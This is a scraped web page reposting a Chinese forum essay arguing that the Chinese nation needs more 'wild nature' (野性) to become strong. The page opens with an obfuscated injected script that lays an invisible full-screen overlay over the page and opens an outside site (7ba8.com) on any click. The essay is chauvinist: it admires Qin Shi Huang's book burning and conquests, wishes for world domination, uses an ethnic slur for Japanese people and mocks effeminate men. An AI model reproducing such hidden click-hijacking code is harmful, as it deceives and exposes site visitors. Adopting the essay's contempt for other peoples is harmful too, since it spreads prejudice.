<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>最近在人民网强国论坛上看见一篇好文，值得玩味，特转贴以推荐给诸位，并希望能以此抛砖引玉，得到各位的呼应，大家共以此话题来讨论一下 —— 中华民族要称雄于世界民族之林，中华男儿责无旁贷，但我们身上，或说中华民族惯有的习性（也就是民族性格）中，到底还欠缺什么？这些不足处有没有可能改过来？要应该如何做才能有效？我们祖国几百年来的委屈耻辱到底是由什么原因引起的呢？是我们的民族性格不够强悍，不够野性？还是我们本身有什么缺陷比不过其他民族？我们的老祖宗们从奴隶，封建，资本主义，社会主义社会各阶段都已尝试过了，为何几百年来也无法扭转过来这个劣势，是我们的社会制度不符合中华民情，还是还不够完善呢？我们要如何才能找到一条真正富国强民之路？这是怎样的一条路？离我们现状还有多远？…… 好多好多的问题，一直憋在心里问自己，真的很难受。作为中华男儿，看到我们国家走了那么长的路还跳不出贫穷落后的圈子，甚至有的地方还有倒退的隐患（如中共党员的腐败问题人尽皆知，而这在刚建国的时候是根本无法想象的，是不是中华民族骨子里就安逸享乐，经不起糖衣炮弹，就如下文说的没有野性，过不得好日子，必须不断地有外来势力的侵略来保持民族士气，否则就会衰退呢？），心里真的很急，也很彷徨，不如提出来大家一起讨论，如何？请赐教！
关于下文中的见解，本人赞成七八，但还是想提出几点看法。其一，“野性”不同于“野蛮”，所差只此“蛮”字。蛮—— 粗野,没开化，凶恶，不通情理，不讲道理，蛮干，蛮悍，蛮横皆属此义。它是文明的反义词，在昌华开明的现代，怎可有“蛮性”呢？做事要用头脑，不可蛮干，遇事要讲道理，不可蛮横无礼，在处理国际事务中更不可蛮悍无理，这是我们从小就受的教育，三岁小孩也懂。而“野性”则不同，它更代表的是一种骨子里透出来的性格，一种独立自主的处事风格，一种潜意识里的彪悍，更是一种追求人格独立的信仰。它可引导人不畏艰险，不怕死，勇往直前，立场坚定而决不轻易动摇。它可使人做自己想做的事，做认为应该做的事，而富贵不能[***],贫贱不能移,威武不能屈。
其次，这种野性不应是需要外族的侵略和战争才能引发的，它更应是每个人潜意识里，骨子里固有的东西。试想，如本身不具有野性，等临到战争时又怎能激发得出，还不是只有马上投降献城的份？再说没有野性也就没有了野心，也就不会想到会打仗而只会安逸享乐，随遇而安，而事前不做好充分的战争准备，就算临战激发了野性也还不是一样只有被别人一打便灭的份？从远古而来无数的民族，部落，经千百年来不断的战争，通婚，灭族，扩张，合并，融合，经过血与火的洗礼保留下来到现在且还保持本身特性，文化的民族就这么百千个，有的民族文化还在继续衰落消失过程中，连自己的民族语言都不能保存下来。而在这世界民族之林中能以本身民族为主体建立独立国家，说自己民族语言的又能有几个？可以说能保留下来的民族都是强悍的，都是有野心和野性的，否则早就被别族灭了或吞并同化了。因此中华民族本身骨子里是有野性的，象我们历代出了那么多千古传诵的英雄，名将，好汉就是明证。只是我们被两千年来的儒家思想的仁义道德和凡事要忍，道家的修身养性和独善其身，以及佛教过分宣扬的随遇而安，逆来顺受，不要贪嗔痴的思想所毒害，麻痹，束缚住了，所以才会出现象鲁迅先生笔下所描述的麻木不仁，毫无生气的吃人世界。统治者为方便自己管理，硬是将这些思想压到老百姓头上，使他们都变成毫无野性的“顺民”。历史上将儒教思想看得最透彻的就数秦始皇和毛泽东两位了，所以才有了焚书坑儒和破除四害的运动。在秦时，佛教还未传入，因此也就不知秦始皇会对佛教如何看待（但正统大乘佛教里还是有伏魔降妖，普渡众生，善有善报，恶有恶报，我不如地狱谁入地狱等教人捍卫正义，不畏邪魔，勇于献身的思想，那些宣扬心平气静，逆来顺受，凡事忍让来修成佛果的均是小乘佛法。）；但对于能令人长生不老的方士巫术宣扬的道教，我们这位始皇帝还是没能看透，因想自己能长生不老而未于严禁，其中好的发展成中华古医学，气脉学和玄学，不好的糟粕就成了骗人的迷信，听说就因此使秦始皇上了一个大当才成全了小日本民族的诞生，此乃另话。
既然野性不是靠外族来激发的，那又是靠什么来维持的呢？从中国古代秦王朝和满清王朝由皇族亲领贵族和天下优秀武士每年一次的田野狩猎和比武竞技以保持他们得天下时的彪悍尚武的风气，从东夷日本至今仍崇尚武士道精神的民族情结，从现代美军军官体制的完善，军校纪律严明，精英汇集，人人争相参军，使得西点军校成为藏龙卧虎高手如云之地，也成为美国最难考和最低入学/毕业率的大学之一（入学率仅11.8%，而入学后的逐年淘汰率竟高达25%，见网上谈兵11月20日贴），从全世界古往今来对体育竞技的狂热，人人强身健体，男儿以拥有一副彪悍的体形为荣中，也许我们可得窥一点端倪 —— 野性是需要民族风气，文化氛围，和完善的奖惩鼓励体制以及政府正确引导来维续的。
想当年我们中华儿女也是人人尚武，敢与别人一争长短的强悍民族，可如今中国年轻一代，大多怕死，不愿苦干，不敢拼死坚持原则，却又夜郎自大，好高务远，眼高手低，安逸享乐，贪图享乐，经不起糖衣炮弹的引诱。现代的中国男儿为何总给人以温柔，纤弱，女性化的一面？（瞧文艺圈中那些当红的娘娘腔们，还自以为这样是美，是好看，还被众多的迷们捧着追着，殊不知这对于男儿来说是多么地要不得！还恬不知耻地争相评最俊美少年，真被他们活活气死。）不要说要叫我们的“知识精英”们参军，报效祖国，就是我们娇生惯养的“小皇帝”们在外受了欺负也只会哭着回家，或就是忍气吞声，从就没想过要真正的打赢回来。真正乐于为国争光，报效祖国的又有几人？而我们党的“精英”领导们也成了富贵能[***],贫贱能移,威武能屈的一代，又怎能指望他们来带领我们走向富裕强盛呢？
一个民族除了要有野性之外，还要有智慧，文明，野心，魄力，强悍，毅力和卧薪尝胆的勇气。光光只“野”也不行，否则野人土著不就早称霸于世了吗？一个民族要富强就要有智慧，要让外邦仰慕就要有文明，要争霸于民族之林就要有野心，要开创一番伟业就要有魄力，要屹立不倒不受欺凌就要强悍，要成就并维持和发展事业就要有毅力，此外就更要学会有卧薪尝胆，奋发图强，不怕牺牲和失败的勇气。
我在众多历史人物中最崇拜的就只数秦始皇了。也许是由于历史久远，资料不全，“距离产生美”而使得在我脑中对秦始皇过分美化推崇了，但想他当年气吞六国，平定匈奴，修长城，缴兵械，焚渺渺之声，尚强悍武风，又统一文字，货币和度量衡，使天下车同轨，行同文，奠定华夏万世基业，是何等的英雄气概。这种阳刚美的英雄魅力是其他的后世所远不及的，以后皇帝的霸业都是在他基础上建立的，虽有版图扩大的，但终究不如他彻底，维持不了几世，就算毛泽东与他相比也差远了，其他不说，就在扩张吞并一事上就比不过（虽说那时中国国力弱，无力扩张，但你最起码要将别人已准备归还我们的土地和已承认主权的领土保住，不致再送给他人吧。见本坛下文）。如果现在和将来我们有多出几个象秦始皇那样的人物，中华民族必将称霸于世界！
民族英雄领袖啊，你在哪里？
附：《论野性》
http://xuexinga.yeah.net
联系人：
联系方式： |
|
收藏